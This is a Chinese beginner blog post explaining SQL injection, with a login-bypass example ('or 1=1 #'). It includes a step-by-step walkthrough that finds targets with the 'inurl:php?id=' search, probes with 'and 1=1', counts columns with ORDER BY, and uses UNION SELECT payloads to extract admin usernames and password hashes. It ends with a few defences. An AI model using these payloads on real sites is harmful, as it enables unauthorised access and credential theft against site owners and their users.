简述SQL注入

SQL注入

当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,来达到获取或修改数据库中的数据。

SQL注入漏洞两个关键条件

  1. 用户能够控制输入的内容
  2. web应用能够把用户输入的内容带到数据库中执行。
    能快捷键

SQL注入分类

1.根据SQL注入点的反馈类型可以分为以下常见几类:

  1. union类型的SQL注入
  2. 基于错误显示的SQL注入
  3. 布尔类型的SQL注入
  4. 基于视觉的SQL注入
  5. 其他类型的SQL注入

攻击原理

正常登陆name框中填写root,pwd为123 上面sql_sel = " select * from app01_test where name=’{0}’ and pwd=’{1}’ 就相当于select * from app01_test where name=root and pwd=123 进行查询
但是
如果name框中填写root or 1=1 #,pwd 随便输入
上面sql_sel = " select * from app01_test where name=’{0}’ and pwd=’{1}’
就相当于select * from app01_test where name=root or 1=1 # and pwd=123 进行查询
这里的#相当于把后面的所有查询包括password查询给注释,并且 or 1 = 1的查询永远是正确的,所以sql攻击注入就完成了
通过这样的方式就绕过了密码检查
所以设计SQL语句时不建议这样设计,或者对特殊字符 #、or、and 等做特殊处理

演练

1、打开VPN,谷歌搜索注入
谷歌搜索小技巧:筛选关键字:“inurl:php?id=”,一搜就出来一大堆,至于有没有呢,那还得一个一个试。

2、判断是否存在sql注入可能。在帖子地址后面空上一格,敲入 and 1=1 ,然后 and 1=2 。这两句什么意思呢? 一个恒等式,一个恒不等式,敲入 and 1=1 帖子返回正常, and 1=2 时帖子返回出错,说明sql语句被执行,程序没有对敏感字符进行过滤。现在我们可以确定此处是一个SQL注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。可以推断出在访问
http://www.xxxxx.tk/news/read.php?id=50
时数据库中执行的SQL语句大概是这样的:
Select * from [表名] where id=50
添加and 1=1后的SQL语句:
Select * from [表名] where id=50 and 1=1
由于条件and 1=1永远为真,所以返回的页面和正常页面是一致的
添加and 1=2后的SQL语句:
Select * from [表名] where id=50 and 1=2
由于条件1=2永远为假,所以返回的页面和正常页面不一致
3、爆数据库。确定注入点仅仅意味着开始。现在,我们回到原先的帖子地址:
http://www.xxxxx*.tk/news/read.php?id=50
现在要判断数据库类型以及版本,构造语句如下:
http://www.xxxxx.tk/news/read.php?id=50 and ord(mid(version(),1,1))>51
发现返回正常页面,说明数据库是mysql,并且版本大于4.0,支持union查询,反之是4.0
以下版本或者其他类型数据库。
4、爆字段。接着我们再构造如下语句来猜表中字段:

  1. http://www.xxxxx.tk/news/read.php?id=50 order by 10
    返回错误页面,说明字段小于10
  2. http://www.xxxxx.tk/news/read.php?id=50 order by 5
    返回正常页面,说明字段介于5和10之间
  3. http://www.xxxxx.tk/news/read.php?id=50 order by 7
    返回错误页面,说明字段大于5小于7,可以判断字段数是6.下面我们再来确认一下
  4. http://www.xxxxx.tk/news/read.php?id=50 order by 6
    返回正常页面,说明字段确实是6这里采用了“二分查找法”,这样可以减少判断次数,节省时间。

5、爆表.确定字段之后现在我们要构造联合查询语句(union select ),语句如下:
http://www.xxxxx.tk/news/read.php?id=50 and 1=2 union select 1,2,3,4,5,6
我们来看帖子页面,原先内容没有了,取而代之的是返回给了我们 三个数字,分别是3,5,6 我们随便选择一个,这里的3,5,6指的是我们可以把联合查询的对应位置替换为 我们想要查询的关键字,比如版本,数据库名称,主要是用来探测web系统的信息。
6、爆用户名、密码。我们选择3 吧,OK,现在把3给替换掉,先查询下数据库库名,构造语句如下
http://www.xxxxx.tk/news/read.php?id=50 and 1=2 union select 1,2,database(),4,5,6
浏览器给我们返回了 xinwen 。说明这个网站 的数据库库名是 xinwen .
http://www.xxxxx.tk/news/read.php?id=50 and 1=2 union select 1,2,username,4,5,6 from admin
返回 admin
http://www.xxxxx.tk/news/read.php?id=50 and 1=2 union select 1,2,password,4,5,6 from admin
返回 B2E5B76793EDA747382E81391AA3A400
看到这里,是不是觉得密码怪怪的,肯定是加密过后的啦,MD5解密后就得到想要的了。

防止SQL注入

1、数据库权限控制,只给访问数据库的web应用功能所需的最低权限帐户。
2、自定义错误信息,首先我们要屏蔽服务器的详细错误信息传到客户端。
3、把危险的和不必要的存储过程删除
4、关键字过滤
5、专业的SQL注入工具及防毒软件

小白发帖,大佬勿喷。。。。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值